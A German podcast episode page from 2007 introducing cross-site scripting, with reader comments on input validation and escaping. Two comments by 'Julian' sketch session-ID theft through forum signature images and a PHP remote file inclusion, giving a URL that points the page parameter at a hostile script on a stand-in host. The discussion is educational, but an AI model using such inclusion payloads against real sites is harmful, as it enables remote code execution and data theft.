06 Aug 2007

Technikwürze 84 (S01/E84) Böses Cross-Site Scripting

Wer sich im Internet bewegt, der sieht sich mit “Cross-Site Scripting”-Lücken konfrontiert. Egal ob man als Anwender oder als Entwickler unterwegs ist. Schlimm wenn man da nichtmal genau weiß was XSS überhaupt ist und wie man sich schützen kann. Daniel Jagszent klärt Sascha Postner und die Hörer auf.

Höre Technikwürze auf SoundCloud: Diese Folge | Alle Folgen

Böses, böses Cross-Site Scripting

Immer wieder stolpert man in der einschlägigen Zeitschriften über den Begriff Cross-Site Scripting, wird zeuge dämonisierender XSS Verfluchungen der IT-Kollegen am Kaffeeautomaten oder erhält Warnungen vor Code Injections bei populären Webanwendungen per Email.

Da Moderator Sascha Postner absolut keine Ahnung hat worum es sich handelt, aber just selber Opfer einer XSS Lücke in einem ehemals verwendeten Script geworden ist, erläutert Daniel Jagszent ihm und den Höreren worum es geht. Auch einige grundlegende Basis-Tipps zum Abdichten der eigenen Anwendung fehlen nicht.

Erwähnt sei, dass es dank des schier unübersichtlichen Themas keine umfassenden Einblicke geben kann, sondern eher eine kurze Einführung in die Scheunentore die man mit schlechter Webentwicklung aufreißt.

Ergänzend etwas Linkliteratur zum Thema

Workshop

Wer nun anschließend wissen will ob er das Problem wirklich verstanden hat und seine eigenen Cross-Site Scripting Fähigkeiten einmal testen möchte, der schaut sich diese Schnitzeljagd für XSS an.

Dieser Beitrag wurde am Montag, 6. August 2007 um 00:00 Uhr in der Kategorie Podcast veröffentlicht.
Kommentare sind im Moment nicht erlaubt, du kannst aber einen Trackback von deiner Seite aus senden.

Kommentare

  • 1.
    Markus Wulftange
    am 6. August 2007, 10:49 Uhr

    Ich finde es gut, dass ihr auch Sicherheitsthemen ansprecht, die meiner Meinung nach leider nur sehr selten behandelt werden.

    Cross-Site Scripting bezieht sich allerdings eigentlich nur auf Angriffe, die durch Injizierung von Schadcode beim Client ausgeführt werden, also typischerweise JavaScript-Schnipsel. Die anderen genannten Sicherheitsgefahren (SQL-Injektionen, Session Hijacking) wären also eher Themen für sich.

    Allgemein sollten jedoch jegliche offensichtliche und versteckte Benutzereingaben durch eine Kombination aus Validierung (Erkennen von Fehleingaben), Filternung (Entfernen der Fehleingaben) und Maskierung (Entschärfen der Metazeichen) verarbeitet werden. Denn die meisten Sicherheitsgefahren (so etwa Cross-Site Scripting, SQL-Injektionen) werden durch fehlende oder ungenügende Maskierung der Metazeichen ermöglicht.

  • 2.
    Manuela
    am 7. August 2007, 00:08 Uhr

    Das Thema wäre gut, würden die beiden Redner es auch den Laien, die davon betroffen sein werden, es verständlich erklären. Leider finde ich die Erklärungen ziemlich umständlich und für einfache Benutzer nicht nicht nachvollziehbar.

  • 3.
    Kevin
    am 7. August 2007, 11:00 Uhr

    Ich fand es ganz gut erklärt. Ich verstehe als Programmierlaie das ein oder andere mehr. Hätte mir zwar mehr Hinweise zur Vorbeugung erwartet, aber nachdem ich jetzt mal selber etwas weitergelesen habe (und leider feststelle, dass meine PHP Entwicklungen furchtbar anfällig sind) muss ich sagen, dass das für einen Podcast echt schwer gewesen wäre.

    Danke auf jeden Fall für die Hilfe zur Selbsthilfe! ;)

  • 4.
    Clemens
    am 7. August 2007, 17:54 Uhr

    Danke für diese Folge – sie hat mir das Thema XSS nähergebracht und hat dafür gesorgt, dass ich ab jetzt ein bisschen mehr auf die ein oder andere XSS-Lücke achten werde. Die einfachsten Sicherheitsmaßregeln kannte ich (wie wahrscheinlich viele hier) zwar schon, aber die ein oder andere Lücke war dabei, dir mir neu war.

  • 5.
    Julian Schrader
    am 8. August 2007, 19:49 Uhr

    Gegen Probleme mit der Validierung von Benutzereingaben bzw. mit Injections bietet Ruby on Rails gute Mittel — die eingebauten Validierungsoptionen sind beispielhaft…

  • 6.
    Jim
    am 10. August 2007, 12:27 Uhr

    Wie immer interessant – jedoch weiss ich eigentlich immer noch nicht, was Cross Side Scripting eigentlich ist.

    Es wurde eher auf Programmier-Aspekte/Vorbeugung eingegangen, als zuvor eine die Thematik allgemein zu erklären.

    Bin diesmal leider nicht wirklich schlauer geworden – aber dennoch herzlichen Dank und weiter so

    Jim

  • 7.
    Julian
    am 13. August 2007, 14:23 Uhr

    Also entweder ich hab was überhört, oder ihr habt 2 Sachen vergessen:

    • Irgendwelche Grafiken in Signaturen in Foren oder so ähnlich. Damit lassen sich die Session IDs ganz gut abfangen: Die den Refferer speichern, oft enthält diese einen GET Paramaeter mit der Session ID: http://www.mein.forum.de/index.php?sid=1234567890abcdef1234567890abcdef
    • include() in PHP.
      about und im PHP dann include($_GET[‘page’].’.php’);
      Jetzt rufen wir die Seite mal so auf: http://www.meine.seite.de/index.php?page=
      Was passiert dann? Genau, http://www.boese.seite.de/script.php wird includet und der Code ausgeführt. Und jetzt kommt nicht, dass der Code auf dem anderen Server ausgeführt wird. Dieser hat villeicht garkeinen PHP Parser oder es wurde z.B. per .htaccess deaktiviert. Schon kann man auch auf die Datenbank zugreifen u.s.w.

    Julian

  • 8.
    Julian
    am 13. August 2007, 14:26 Uhr

    Leider hap ich ein paar Fehler gemacht.
    > about und im PHP dann
    sollte eigentlich
    “http://www.meine.seite.de/index.php?page=about und im PHP dann”
    heißen,
    > Jetzt rufen wir die Seite mal so auf:
    > meine.seite.de/index.php?page=
    sollte eigentlich
    “Jetzt rufen wir die Seite mal so auf:
    meine.seite.de/index.php?page=http://www.boese.seite.de/script.php”
    heißen.

    Julian

Dein eigener Kommentar

Die Kommentarfunktion für diesen Beitrag wurde deaktiviert.